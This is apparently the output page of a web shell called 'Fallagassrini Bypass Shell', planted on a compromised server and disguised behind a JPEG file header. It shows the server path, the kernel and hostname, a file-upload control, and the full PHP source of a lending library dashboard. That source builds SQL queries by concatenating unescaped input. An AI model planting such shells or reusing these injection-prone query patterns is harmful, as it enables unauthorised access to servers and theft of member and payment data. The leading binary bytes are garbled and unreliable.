JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/easwari/www/llm/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : /home/easwari/www/llm/index.php

<?php
include('is_autheticated.php');//echo $_SESSION['branch_name'];
function getmembername($id)
{
$res=mysql_fetch_row(mysql_query("select member_name from members where id='".$id."'"));
return $res[0];
}
function getbookname($id)
{
$res=mysql_fetch_row(mysql_query("select book_name from book where id='".$id."'"));
return $res[0];
}
function getauthorname($id)
{
$res=mysql_fetch_row(mysql_query("select author from book where id='".$id."'"));
return $res[0];
}
function getmembercode($id)
{
$res=mysql_fetch_row(mysql_query("select member_code from members where id='".$id."'"));
return $res[0];
}
function getbranchname($id)
{
$res=mysql_fetch_row(mysql_query("select name from branches where id='".$id."'"));
return $res[0];
}

if(isset($_POST['add_category']))
{
$date = @$_POST['date_of_arrival'];
$date1= date('Y-m-d', strtotime($date));
if($_SESSION['branch_name']=='Super Admin')
{
//$res1=mysql_query("select *,count(member_id) as count from book_reserved where date(reserved_date)='$date1' group by book_id");
$res1=mysql_query("Select Count(*) AS count  From ( Select * From book_reserved WHERE date(reserved_date)='$date1' Group By book_id ) As Z");
$branch1=mysql_fetch_array($res1);
//echo $branch1['count'];echo $branch1['Z'];

$read=mysql_query("select sum(paid_amount) as read_paid from  reading_charge where date(created_on)='$date1'");
$read2=mysql_fetch_array($read);
//echo $read2['read_paid'];

$top=mysql_query("select sum(topup_amount) as top_paid from  member_topup where date(topup_date)='$date1'");
$top2=mysql_fetch_array($top);
//echo $top2['top_paid'];

$renewal=mysql_query("select sum(new_subscription_fee) as renewal_paid from  member_renewal where date(new_subscription_commence_date)='$date1'");
$renewal2=mysql_fetch_array($renewal);
//echo $renewal2['renewal_paid'];

$sub=mysql_query("select sum(due_deposit_paid) as sub_paid from  subscription_payment where payment_date='$date1'");
$sub2=mysql_fetch_array($sub);
//echo $sub2['sub_paid'];

$total=$read2['read_paid'] + $top2['top_paid'] +  $renewal2['renewal_paid'] + $sub2['sub_paid'];//echo $total;

$res3=mysql_query("select count(member_code) as m_count from members where status='0'");
$branch3=mysql_fetch_array($res3);
//echo $branch3['m_count'];

$res4=mysql_query("select count(distinct(member_id)) as today_m_count from  check_out_in_history where (date(check_out_date)='$date1' or date(actual_check_in_date)='$date1')");
$branch4=mysql_fetch_array($res4);
//echo $branch4['today_m_count'];

$res5=mysql_query("select count(*) as bookcount from book_receipt");
$branch5=mysql_fetch_array($res5);
//echo $branch5['bookcount'];
 }
 else
 {
$res=mysql_query("select * from branches where name='".$_SESSION['branch_name']."'");
$branch=mysql_fetch_array($res);
//echo $branch['id'];
 
//$res1=mysql_query("select count(member_id) as count from book_reserved where date(reserved_date)='$date1' and branch='".$branch['id']."'  group by book_id ");
$res1=mysql_query("Select Count(*) AS count From  ( Select * From book_reserved WHERE date(reserved_date)='$date1' and branch='".$branch['id']."'  Group By book_id)  As Z");
$branch1=mysql_fetch_array($res1);
//echo $branch1['count'];

$read=mysql_query("select sum(paid_amount) as read_paid from  reading_charge where date(created_on)='$date1' and branch='".$branch['id']."'");
$read2=mysql_fetch_array($read);
//echo $read2['read_paid'];

$top=mysql_query("select sum(topup_amount) as top_paid from  member_topup where date(topup_date)='$date1' and branch='".$branch['id']."'");
$top2=mysql_fetch_array($top);
//echo $top2['top_paid'];

$renewal=mysql_query("select sum(new_subscription_fee) as renewal_paid from  member_renewal where date(new_subscription_commence_date)='$date1' and branch='".$branch['id']."'");
$renewal2=mysql_fetch_array($renewal);
//echo $renewal2['renewal_paid'];

$sub=mysql_query("select sum(due_deposit_paid) as sub_paid from  subscription_payment where payment_date='$date1' and branch='".$branch['id']."'");
$sub2=mysql_fetch_array($sub);
//echo $sub2['sub_paid'];

$total=$read2['read_paid'] + $top2['top_paid'] +  $renewal2['renewal_paid'] + $sub2['sub_paid'];//echo $total;

$res3=mysql_query("select count(member_code) as m_count from members where branch='".$branch['id']."' and status='0'");
$branch3=mysql_fetch_array($res3);
//echo $branch3['m_count'];

$res4=mysql_query("select count(distinct(member_id)) as today_m_count from  check_out_in_history where (date(check_out_date)='$date1' or date(actual_check_in_date)='$date1') and branch='".$branch['id']."'");
$branch4=mysql_fetch_array($res4);
//echo $branch4['today_m_count'];

$res5=mysql_query("select count(*) as bookcount from book_receipt where branch_name='".$branch['id']."'");
$branch5=mysql_fetch_array($res5);
//echo $branch5['bookcount'];
}
}
else
{
$date = @$_POST['date_of_arrival'];
$date1= date('Y-m-d', strtotime($date));
if($_SESSION['branch_name']=='Super Admin')
 {
//$res1=mysql_query("select *,count(member_id) as count from book_reserved where date(reserved_date)=date(Now()) group by member_id");
$res1=mysql_query("Select Count(*) AS count From  ( Select * From book_reserved WHERE date(reserved_date)='$date1' Group By book_id)  As Z");
$branch1=mysql_fetch_array($res1);
//echo $branch1['count'];echo $branch1['count'];

$read=mysql_query("select sum(paid_amount) as read_paid from  reading_charge where date(created_on)=date(Now())");
$read2=mysql_fetch_array($read);
//echo $read2['read_paid'];

$top=mysql_query("select sum(topup_amount) as top_paid from  member_topup where date(topup_date)=date(Now())");
$top2=mysql_fetch_array($top);
//echo $top2['top_paid'];

$renewal=mysql_query("select sum(new_subscription_fee) as renewal_paid from  member_renewal where date(new_subscription_commence_date)=date(Now())");
$renewal2=mysql_fetch_array($renewal);
//echo $renewal2['renewal_paid'];

$sub=mysql_query("select sum(due_deposit_paid) as sub_paid from  subscription_payment where payment_date=date(Now())");
$sub2=mysql_fetch_array($sub);
//echo $sub2['sub_paid'];

$total=$read2['read_paid'] + $top2['top_paid'] +  $renewal2['renewal_paid'] + $sub2['sub_paid'];//echo $total;

$res3=mysql_query("select count(member_code) as m_count from members where status='0'");
$branch3=mysql_fetch_array($res3);
//echo $branch3['m_count'];

$res4=mysql_query("select count(distinct(member_id)) as today_m_count from  check_out_in_history where (date(check_out_date)=date(Now()) or date(actual_check_in_date)=date(Now()))");
$branch4=mysql_fetch_array($res4);
//echo $branch4['today_m_count'];

$res5=mysql_query("select count(*) as bookcount from book_receipt");
$branch5=mysql_fetch_array($res5);
//echo $branch5['bookcount'];
 }
 else
 {
$res=mysql_query("select * from branches where name='".$_SESSION['branch_name']."'");
$branch=mysql_fetch_array($res);
//echo $branch['id'];

//$res1=mysql_query("select *,count(distinct(member_id)) as count from book_reserved where date(reserved_date)=date(Now()) and branch='".$branch['id']."' ");
$res1=mysql_query("Select Count(*) AS count From  ( Select * From book_reserved WHERE date(reserved_date)='$date1' and branch='".$branch['id']."'  Group By book_id)  As Z");
$branch1=mysql_fetch_array($res1);
//echo $branch1['count'];

$read=mysql_query("select sum(paid_amount) as read_paid from  reading_charge where date(created_on)=date(Now()) and branch='".$branch['id']."'");
$read2=mysql_fetch_array($read);
//echo $read2['read_paid'];

$top=mysql_query("select sum(topup_amount) as top_paid from  member_topup where date(topup_date)=date(Now()) and branch='".$branch['id']."'");
$top2=mysql_fetch_array($top);
//echo $top2['top_paid'];

$renewal=mysql_query("select sum(new_subscription_fee) as renewal_paid from  member_renewal where date(new_subscription_commence_date)=date(Now()) and branch='".$branch['id']."'");
$renewal2=mysql_fetch_array($renewal);
//echo $renewal2['renewal_paid'];

$sub=mysql_query("select sum(due_deposit_paid) as sub_paid from  subscription_payment where payment_date=date(Now()) and branch='".$branch['id']."'");
$sub2=mysql_fetch_array($sub);
//echo $sub2['sub_paid'];

$total=$read2['read_paid'] + $top2['top_paid'] +  $renewal2['renewal_paid'] + $sub2['sub_paid'];//echo $total;

$res3=mysql_query("select count(member_code) as m_count from members where branch='".$branch['id']."' and status='0'");
$branch3=mysql_fetch_array($res3);
//echo $branch3['m_count'];

$res4=mysql_query("select count(distinct(member_id)) as today_m_count from  check_out_in_history where (date(check_out_date)=date(Now()) or date(actual_check_in_date)=date(Now())) and branch='".$branch['id']."'");
$branch4=mysql_fetch_array($res4);
//echo $branch4['today_m_count'];

//echo "select count(book_name) as bookcount from book_receipt where branch_name='".$branch['id']."'";
$res5=mysql_query("select count(*) as bookcount from book_receipt where branch_name='".$branch['id']."'");
$branch5=mysql_fetch_array($res5);
//echo $branch5['bookcount'];
}
}
?>

<!DOCTYPE html>
<html lang="en">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Easwari Lending Library</title>

<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link href="img/eas.jpg" rel="icon" type="image/png">
<link rel="stylesheet" href="css/bootstrap.min.css" />
<link rel="stylesheet" href="css/bootstrap-responsive.min.css" />
<link rel="stylesheet" href="css/colorpicker.css" />
<link rel="stylesheet" href="css/datepicker.css" />
<link rel="stylesheet" href="css/uniform.css" />
<link rel="stylesheet" href="css/select2.css" />
<link rel="stylesheet" href="css/matrix-style.css" />
<link rel="stylesheet" href="css/matrix-media.css" />
<link rel="stylesheet" href="css/bootstrap-wysihtml5.css" />
<link href="font-awesome/css/font-awesome.css" rel="stylesheet" />
<link href='https://fonts.googleapis.com/css?family=Open+Sans:400,700,800' rel='stylesheet' type='text/css'>

<link rel="stylesheet" href="css/animate.css" />
<link rel="stylesheet" href="css/fullcalendar.css" />
<link rel="stylesheet" href="css/jquery.gritter.css" />
</head>
<body>
<!-- Left sidebar start -->

		<?php include('left_menu.php'); ?>

		<!-- Left sidebar end -->

		<!-- Dashboard Wrapper Start -->

		<div class="dashboard-wrapper">

			<!-- Header start -->

			<?php include('header.php'); 

			?>

<!--main-container-part-->
<div id="content" style="height: auto">
<!--breadcrumbs-->
  <div id="content-header">
    <div id="breadcrumb"> <a href="index.php" title="Go to Home" class="tip-bottom"><i class="icon-home"></i> Home</a></div>
  </div>
<!--End-breadcrumbs-->

<!--Action boxes-->
<div class="container-fluid">
<form name="lang" id="lang" method="post" class="form-horizontal">
				 <input type="text"  id="date_of_arrival" name="date_of_arrival" value="<?php if($date != ''){echo $date;}else{echo date('d-m-Y');}?>" data-date="<?php echo date('d-m-Y'); ?>" data-date-format="dd-mm-yyyy" class="datepicker" style="margin-top:3px; margin-bottom:-25px;"> <input type="submit" name="add_category" value="Search" id="add_category"  class="btn btn-success" style="margin-top:3px; margin-bottom:-25px;" />
				 
				  <div style="float:right"> <input type="text" placeholder="Search here..." id="search_value" name="search_value" style="margin-bottom:-25px; margin-top:3px" autocomplete="off"/>
 <!-- <input type="button" class="btn btn-success" /><i class="icon-search icon-white"></i>-->
 &nbsp; <button type="button" class="tip-bottom" title="Search" onClick="list_book();" style="margin-bottom:-25px; margin-top:3px; height:25px" id="search_book" name="search_book"><i class="icon-search icon-white"></i></button>
 </div>

 </form>
			           
 <div class="quick-actions_homepage">
      <ul class="quick-actions">
        <li class="bg_lb"><a href="#" onClick="show_reservation();"><small>Reservation</small><br><strong><?php echo $branch1['count']; ?></strong></a></li>
         <?php if($_SESSION['user_name'] <> "admin1") {?><li class="bg_lg"><a href="#" onClick="show_collection();"><small>Collection</small><br><strong><?php echo $total; ?></strong></a></li><?php } ?>
        <li class="bg_ly"><a href="#" onClick="show_member();"><small>Today Members</small><br><strong><?php echo $branch4['today_m_count'];?></strong></a></li>
        <li class="bg_lo"> <a href="#"><small>Total Members</small><br><strong><?php echo $branch3['m_count'];?></strong></a></li>
        <li class="bg_ls"> <a href="#"><small>Total Books</small><br><strong><?php echo $branch5['bookcount'];?> </strong></a></li>
      </ul>
	  
	  


    </div>
	
	

    <div class="row-fluid">
  <div class="span12">
      <div class="widget-box">
        <div class="widget-title"> <span class="icon"> <i class="icon-align-justify"></i> </span>
          <h5>Easwari Lending Library</h5>
        </div>
		<div class="container-fluid">

								<div class="span12">
									
                                    <div > <img src="img/ell_logo_index.JPG"></div>
										<hr class="hidden-xs">
							</div>
						</div>
				</div>
   <!--End-Chart-box--> 
   <div class="panel-body" style="display:none" id="test1">
			              <div id="dt_example" class="table-responsive example_alt_pagination clearfix">
			                <table class="table table-condensed table-striped table-bordered pull-left" id="data-table">    
			                  <thead>
			                    <tr>
								<th style="width:5%">S No</th>
                                <th style="width:15%">Book Name</th>
                                <th style="width:15%">Author Name</th>
                                <th style="width:15%">Member Code</th>
                                <th style="width:15%">Branch Name</th>
								<th style="width:15%">Date</th>
                              
                              </tr>
			                  </thead>
			                  <tbody>
							  <?php
							 // echo $_SERVER['REMOTE_ADDR']; 
							  $user=$_SESSION['branch_name'];
							  if(isset($_POST['add_category']))
                              {
                           $date = @$_POST['date_of_arrival'];
                           $date1= date('Y-m-d', strtotime($date));
							  if($user=='Super Admin')
                              {
                      $res1="select * from book_reserved where date(reserved_date)='$date1' group by book_id";//echo $res1;
                      //$branch1=mysql_fetch_array($res1);
                      //echo $branch1['count'];
					  }
					  else
					  {
					  $res=mysql_query("select * from branches where name='".$_SESSION['branch_name']."'");
                      $branch=mysql_fetch_array($res);
                      //echo $branch['id'];
 
                      $res1="select * from book_reserved where date(reserved_date)='$date1' and branch='".$branch['id']."' group by book_id";
                     // $branch1=mysql_fetch_array($res1);
                      //echo $branch1['count'];
					  }
					  }
					  else
					  {
					   if($user=='Super Admin')
                      {
					   $res1="select * from book_reserved where date(reserved_date)=date(Now()) group by book_id";
                      //$branch1=mysql_fetch_array($res1);
                      //echo $branch1['count'];
					  }
					  else
					  {
					  $res=mysql_query("select * from branches where name='".$_SESSION['branch_name']."'");
                      $branch=mysql_fetch_array($res);
                      //echo $branch['id'];
 
                      $res1="select * from book_reserved where date(reserved_date)=date(Now()) and branch='".$branch['id']."' group by book_id";
                     // $branch1=mysql_fetch_array($res1);
                      //echo $branch1['count'];
					  }
					  }
					   $branch1=mysql_query($res1);
							  $i=0;?>
							   <?php
								while($step=mysql_fetch_array($branch1))
								{//echo $step['book_id'];
								$i=$i+1;
								?> 			
							  <tr class="gradeA">
								  <td><?php echo $i;?>  </td>
			                      <td><?php echo getbookname($step['book_id']);?>  </td>
                                  <td><?php echo getauthorname($step['book_id']);?></td>
                                  <td><?php echo getmembercode($step['member_id']);?></td>
								  <td><?php echo getbranchname($step['branch']);?></td>
								 <!-- <?php if($user=='Super Admin')
                                  {?>
								  <td><?php echo $user;?></td>
								  <?php }else
								  {?>
								 <td><?php echo $step['name'];?></td><?php
								  }?>-->
								  <td><?php echo $step['reserved_date'];?></td>
                                 </tr>
								 <?php
								  }?>
								 </tbody>
								 </table>
								 </div>
								 </div>
								 
								 <div class="panel-body" style="display:none" id="test2">
			              <div id="dt_example" class="table-responsive example_alt_pagination clearfix">
			                <table class="table table-condensed table-striped table-bordered pull-left" id="data-table">    
			                  <thead>
			                    <tr>
								<th style="width:5%">S No</th>
                                <th style="width:15%">Branch Name</th>
								 <th style="width:15%">Reading Charge</th>
                                <th style="width:15%">Topup Amount</th>
                                <th style="width:15%">Renewal Amount</th> 
								 <th style="width:15%">Subscription Amount</th>
								 <th style="width:15%">Refund Amount</th>
								 <th style="width:15%">Cancelled Amount</th>
								 <th style="width:15%">Expenses Amount</th>
								<th style="width:15%">Total</th> 
                              
                              </tr>
			                  </thead>
			                  <tbody>
							  <?php
							  $i=0; 
							  $user=$_SESSION['branch_name'];
							 
							  $i=0;?>
							   <?php
								 $i=$i+1;
								
					  if(isset($_POST['add_category']))
                              {
                           $date = @$_POST['date_of_arrival'];
                           $date1= date('Y-m-d', strtotime($date));
							 
					 if($user=='Super Admin')
							     {
						  $qry="select * from  branches where c_status='1' order by name";
							 $source = mysql_query($qry);
								
							while($step=mysql_fetch_array($source))
							{ $j=$j+1;
							?>
							<tr class="gradeA">
								  <td><?php echo $j;?>  </td>
								  <td><?php echo $step['name'];?></td>
								<?php  $read="select sum(paid_amount) as read_paid from  reading_charge where date(created_on)='$date1' and branch='".$step['id']."'";
								  $read2=mysql_fetch_array(mysql_query($read));?>
								   <td><?php echo $read2['read_paid'];?>  </td>
								   <?php  $top="select sum(topup_amount) as top_paid from  member_topup where date(topup_date)='$date1' and branch='".$step['id']."'";
                              $top2=mysql_fetch_array(mysql_query($top));?>
							  <td><?php echo $top2['top_paid'];?></td>
							  <?php  $renewal="select sum(new_subscription_fee) as renewal_paid from  member_renewal where date(new_subscription_commence_date)='$date1' and branch='".$step['id']."'";
                              $renewal2=mysql_fetch_array(mysql_query($renewal));?>
							   <td><?php echo $renewal2['renewal_paid'];?></td>
							   
							     <?php  $sub="select sum(due_deposit_paid) as sub_paid from  subscription_payment where payment_date='$date1' and branch='".$step['id']."'";
                              $sub2=mysql_fetch_array(mysql_query($sub));?>
							   <td><?php echo $sub2['sub_paid'];?></td>
							   
							     <?php  $ref="select sum(refunded_amount) as ref_paid from  deposit_refund where payment_date='$date1' and branch='".$step['id']."'";
                              $ref2=mysql_fetch_array(mysql_query($ref));?>
							   <td><?php echo $ref2['ref_paid'];?></td>
							   
							   <?php $can="select sum(deposite_refund_amount) as can_amt from  member_cancel where cancel_date='$date1' and branch='".$step['id']."'";
                              $can2=mysql_fetch_array(mysql_query($can));?>
							  <td><?php echo $ref2['can_amt'];?></td>
							  
							    <?php  $exp="select sum(cost) as exp_amt from  expenses where expense_date='$date1' and branch_name='".$step['id']."' and status='1'";
                              $exp2=mysql_fetch_array(mysql_query($exp));?>
							   <td><?php echo $exp2['exp_amt'];?></td>
							   
							   <?php $total2=($read2['read_paid'] + $top2['read_paid'] +  $renewal2['renewal_paid']+ $sub2['sub_paid'])-($ref2['ref_paid']  + $exp2['exp_amt']);//echo $total;?>
							    <td><?php echo $total2;?></td>
								</tr>
								 <?php 
								  }
								  }
								  else
								  { 
								  $res="select * from branches where name='".$_SESSION['branch_name']."'";
                              $branch=mysql_fetch_array(mysql_query($res));

                              $read="select sum(paid_amount) as read_paid from  reading_charge where date(created_on)='$date1' and branch='".$branch['id']."'";
                              $read2=mysql_fetch_array(mysql_query($read));
                           //   echo $read2['read_paid'];

                              $top="select sum(topup_amount) as top_paid from  member_topup where date(topup_date)='$date1' and branch='".$branch['id']."'";
                              $top2=mysql_fetch_array(mysql_query($top));
                            //  echo $top2['top_paid'];

                              $renewal="select sum(new_subscription_fee) as renewal_paid from  member_renewal where date(new_subscription_commence_date)='$date1' and branch='".$branch['id']."'";
                              $renewal2=mysql_fetch_array(mysql_query($renewal));
                           //   echo $renewal2['renewal_paid'];
							  
							  $sub="select sum(due_deposit_paid) as sub_paid from  subscription_payment where payment_date='$date1' and branch='".$branch['id']."'";
                              $sub2=mysql_fetch_array(mysql_query($sub));
							//  echo $sub2['sub_paid'];
							
							 $ref="select sum(refunded_amount) as ref_paid from  deposit_refund where payment_date='$date1' and branch='".$branch['id']."'";
                              $ref2=mysql_fetch_array(mysql_query($ref));
							   
							   $can="select sum(deposite_refund_amount) as can_amt from  member_cancel where cancel_date='$date1' and branch='".$branch['id']."'";
                              $can2=mysql_fetch_array(mysql_query($can));
							  
							   $exp="select sum(cost) as exp_amt from  expenses where expense_date='$date1' and branch_name='".$branch['id']."' and status='1'";
                              $exp2=mysql_fetch_array(mysql_query($exp));
							  
                              $total2=($read2['read_paid'] + $top2['top_paid'] +  $renewal2['renewal_paid'] + $sub2['sub_paid'])-($ref2['ref_paid'] + $exp2['exp_amt']);//echo $total;?>
                                <tr class="gradeA"> 
								  <td><?php echo $i;?>  </td>
								 <td><?php echo $branch['name'];?></td>
			                     <td><?php echo $read2['read_paid'];?>  </td>
                                  <td><?php echo $top2['top_paid'];?></td>
                                  <td><?php echo $renewal2['renewal_paid'];?></td>
								  <td><?php echo $sub2['sub_paid'];?></td>
								  <td><?php echo $ref2['ref_paid'];?></td>
								  <td><?php echo $can2['can_amt'];?></td>
								  <td><?php echo $exp2['exp_amt'];?></td>
								  <td><?php echo $total2;?></td>
								 
                                 </tr>
								  <?php }
								  }
								  
								 else
								 {
							if($user=='Super Admin')
                                  {
						  $qry="select * from  branches  where c_status='1' order by name";
							 $source = mysql_query($qry);
								
							while($step=mysql_fetch_array($source))
							{ $j=$j+1;
							?>
							<tr class="gradeA">
								  <td><?php echo $j;?>  </td>
								  <td><?php echo $step['name'];?></td>
								<?php  $read="select sum(paid_amount) as read_paid from  reading_charge where date(created_on)=date(Now()) and branch='".$step['id']."'";
								  $read2=mysql_fetch_array(mysql_query($read));?>
								   <td><?php echo $read2['read_paid'];?>  </td>
								   <?php  $top="select sum(topup_amount) as top_paid from  member_topup where date(topup_date)=date(Now()) and branch='".$step['id']."'";
                              $top2=mysql_fetch_array(mysql_query($top));?>
							  <td><?php echo $top2['top_paid'];?></td>
							  <?php  $renewal="select sum(new_subscription_fee) as renewal_paid from  member_renewal where date(new_subscription_commence_date)=date(Now()) and branch='".$step['id']."'";
                              $renewal2=mysql_fetch_array(mysql_query($renewal));?>
							   <td><?php echo $renewal2['renewal_paid'];?></td>
							   
							    <?php  $sub="select sum(due_deposit_paid) as sub_paid from  subscription_payment where payment_date=date(Now()) and branch='".$step['id']."'";
                              $sub2=mysql_fetch_array(mysql_query($sub));?>
							   <td><?php echo $sub2['sub_paid'];?></td>
							   
							    <?php  $ref="select sum(refunded_amount) as ref_paid from  deposit_refund where payment_date=date(Now()) and branch='".$step['id']."'";
                              $ref2=mysql_fetch_array(mysql_query($ref));?>
							   <td><?php echo $ref2['ref_paid'];?></td>
							   
							   <?php $can="select sum(deposite_refund_amount) as can_amt from  member_cancel where cancel_date=date(Now()) and branch='".$step['id']."'";
                              $can2=mysql_fetch_array(mysql_query($can));?>
							  <td><?php echo $ref2['can_amt'];?></td>
							  
							    <?php  $exp="select sum(cost) as exp_amt from  expenses where expense_date=date(Now()) and branch_name='".$step['id']."' and status='1'";
                              $exp2=mysql_fetch_array(mysql_query($exp));?>
							   <td><?php echo $exp2['exp_amt'];?></td>
							   
							   <?php $total2=($read2['read_paid'] + $top2['top_paid'] +  $renewal2['renewal_paid'] + $sub2['sub_paid'])-($ref2['ref_paid'] + $exp2['exp_amt']);//echo $total;?>
							    <td><?php echo abs($total2);?></td>
								</tr>
								 <?php 
								  }
								  }
						else
						{
						$res="select * from branches where name='".$_SESSION['branch_name']."'";
                              $branch=mysql_fetch_array(mysql_query($res));

                              $read="select sum(paid_amount) as read_paid from  reading_charge where date(created_on)=date(Now()) and branch='".$branch['id']."'";
                              $read2=mysql_fetch_array(mysql_query($read));
                              //echo $read2['read_paid'];

                              $top="select sum(topup_amount) as top_paid from  member_topup where date(topup_date)=date(Now()) and branch='".$branch['id']."'";
                              $top2=mysql_fetch_array(mysql_query($top));
                             // echo $top2['top_paid'];

                              $renewal="select sum(new_subscription_fee) as renewal_paid from  member_renewal where date(new_subscription_commence_date)=date(Now()) and branch='".$branch['id']."'";
                              $renewal2=mysql_fetch_array(mysql_query($renewal));
                              //echo $renewal2['renewal_paid'];
							  
							   $sub="select sum(due_deposit_paid) as sub_paid from  subscription_payment where payment_date=date(Now()) and branch='".$branch['id']."'";
                              $sub2=mysql_fetch_array(mysql_query($sub));
							   // echo $sub2['sub_paid'];
							   
							    $ref="select sum(refunded_amount) as ref_paid from  deposit_refund where payment_date=date(Now()) and branch='".$branch['id']."'";
                              $ref2=mysql_fetch_array(mysql_query($ref));
							   
							   $can="select sum(deposite_refund_amount) as can_amt from  member_cancel where cancel_date=date(Now()) and branch='".$branch['id']."'";
                              $can2=mysql_fetch_array(mysql_query($can));
							  
							   $exp="select sum(cost) as exp_amt from  expenses where expense_date=date(Now()) and branch_name='".$branch['id']."' and status='1'";
                              $exp2=mysql_fetch_array(mysql_query($exp));
							  
                              $total2=($read2['read_paid'] + $top2['top_paid'] +  $renewal2['renewal_paid'] + $sub2['sub_paid'])-($ref2['ref_paid'] + $exp2['exp_amt']);//echo $total;?>

								  <tr class="gradeA">
								  <td><?php echo $i;?>  </td>
								 <td><?php echo $branch['name'];?></td>
			                     <td><?php echo $read2['read_paid'];?>  </td>
                                  <td><?php echo $top2['top_paid'];?></td>
                                  <td><?php echo $renewal2['renewal_paid'];?></td>
								  <td><?php echo $sub2['sub_paid'];?></td>
								  <td><?php echo $ref2['ref_paid'];?></td>
								  <td><?php echo $can2['can_amt'];?></td>
								  <td><?php echo $exp2['exp_amt'];?></td>
								  <td><?php echo $total2;?></td>
								 
                                 </tr>
								  <?php
								  }
								  }
								  ?>
								 </tbody>
								 </table>
								 </div>
								 </div>
								 
								 <div class="panel-body" style="display:none" id="test3">
			              <div id="dt_example" class="table-responsive example_alt_pagination clearfix">
			                <table class="table table-condensed table-striped table-bordered pull-left" id="data-table">    
			                  <thead>
			                    <tr>
								<th style="width:5%">S No</th>
                                <th style="width:15%">Member Code</th>
                                <th style="width:15%">Member Name</th>
                                <th style="width:15%">Bar Code</th>
                                <th style="width:15%">Chech Out Type</th>                               
                                <th style="width:15%">Branch Name</th>
                              
                              </tr>
			                  </thead>
			                  <tbody>
							  <?php
							  $i=0;
							   $user=$_SESSION['branch_name'];
							    if(isset($_POST['add_category']))
                              {
                           $date = @$_POST['date_of_arrival'];
                           $date1= date('Y-m-d', strtotime($date));
							  if($user=='Super Admin')
                              {
				              $res4="select * from  check_out_in_history where (date(check_out_date)='$date1' or date(actual_check_in_date)='$date1')";
                             // $branch4=mysql_fetch_array(mysql_query($res4));
                              //echo $branch4['today_m_count'];
							  }
							  else
							  {
							  $res="select * from branches where name='".$_SESSION['branch_name']."'";
                              $branch=mysql_fetch_array(mysql_query($res));//echo  $branch['id'];

					 $res4="select * from  check_out_in_history where (date(check_out_date)='$date1' or date(actual_check_in_date)='$date1') and branch='".$branch['id']."'";
//echo  $res4;
							  }
							  }
							  else
							  {
							   if($user=='Super Admin')
                              {
				              $res4="select * from  check_out_in_history where (date(check_out_date)=date(Now()) or date(actual_check_in_date)=date(Now()))";
                             // $branch4=mysql_fetch_array(mysql_query($res4));
                              //echo $branch4['today_m_count'];
							  }
							  else
							  {
							  $res="select * from branches where name='".$_SESSION['branch_name']."'";
                              $branch=mysql_fetch_array(mysql_query($res));//echo  $branch['id'];

					 $res4="select * from  check_out_in_history where (date(check_out_date)=date(Now()) or date(actual_check_in_date)=date(Now())) and branch='".$branch['id']."'";
//echo  $res4;
							  }
							  }
							   $member=mysql_query($res4);
							  ?>
							  <?php
								while($step=mysql_fetch_array($member))
								{//echo $step['book_id'];
								$i=$i+1;
								?> 	
							  <tr class="gradeA">
								  <td><?php echo $i;?>  </td>		
			                      <td><?php echo getmembercode($step['member_id']);?>  </td>
                                  <td><?php echo getmembername($step['member_id']);?></td>
                                  <td><?php echo $step['book_bar_code'];?></td>
                                  <td><?php echo $step['checkout_type'];?> </td>
								 <?php if($user=='Super Admin')
                                  {?>
								  <td><?php echo getbranchname($step['branch']);?></td>
								  <?php }else
								  {?>
								 <td><?php echo $branch['name'];?></td><?php
								  }?>
                                 </tr>
								 <?php
								  }?>
								 </tbody>
								 </table>
								 </div>
								 </div>
								  <div id="list_books"></div>
								 
 
  </div>
</div>
</div>
</div>
<!--end-main-container-part-->

<!--Footer-part-->
<div class="row-fluid">
  <div id="footer" class="span12"> Copyright Cloud Admin <span>2015</span>. All Rights Reserved. </div>
</div>
</div>
	 

	 
<!--end-Footer-part-->
<script src="js/jquery.min.js"></script> 
<script src="js/jquery.ui.custom.js"></script> 
<script src="js/bootstrap.min.js"></script> 
<script src="js/bootstrap-colorpicker.js"></script> 
<script src="js/bootstrap-datepicker.js"></script> 
<!--<script src="js/jquery.toggle.buttons.js"></script> -->
<script src="js/masked.js"></script> 
<script src="js/jquery.uniform.js"></script> 
<script src="js/select2.min.js"></script> 
<script src="js/matrix.js"></script> 
<script src="js/matrix.form_common.js"></script> 
<!--<script src="js/wysihtml5-0.3.0.js"></script> -->
<script src="js/jquery.peity.min.js"></script> 
<script src="js/bootstrap-wysihtml5.js"></script> 

<script src="js/bootstrap.min.new.js"></script>
<script src="js/custom.js"></script>

<script src="js/excanvas.min.js"></script> 
<!--<script src="js/jquery.min.js"></script> -->
<script src="js/bootstrap.min.js"></script> 
<script src="js/jquery.flot.min.js"></script> 
<script src="js/jquery.flot.resize.min.js"></script> 
<script src="js/jquery.peity.min.js"></script> 
<script src="js/fullcalendar.min.js"></script> 
<script src="js/matrix.js"></script> 
<script src="js/matrix.dashboard.js"></script> 
<script src="js/jquery.gritter.min.js"></script> 
<script src="js/matrix.interface.js"></script> 
<script src="js/matrix.chat.js"></script> 
<script src="js/jquery.validate.js"></script> 
<script src="js/matrix.form_validation.js"></script> 
<script src="js/jquery.wizard.js"></script> 
<script src="js/jquery.uniform.js"></script> 
<script src="js/matrix.popover.js"></script> 
<script src="js/jquery.dataTables.min.js"></script> 
<script src="js/matrix.tables.js"></script> 
<script type="text/javascript">
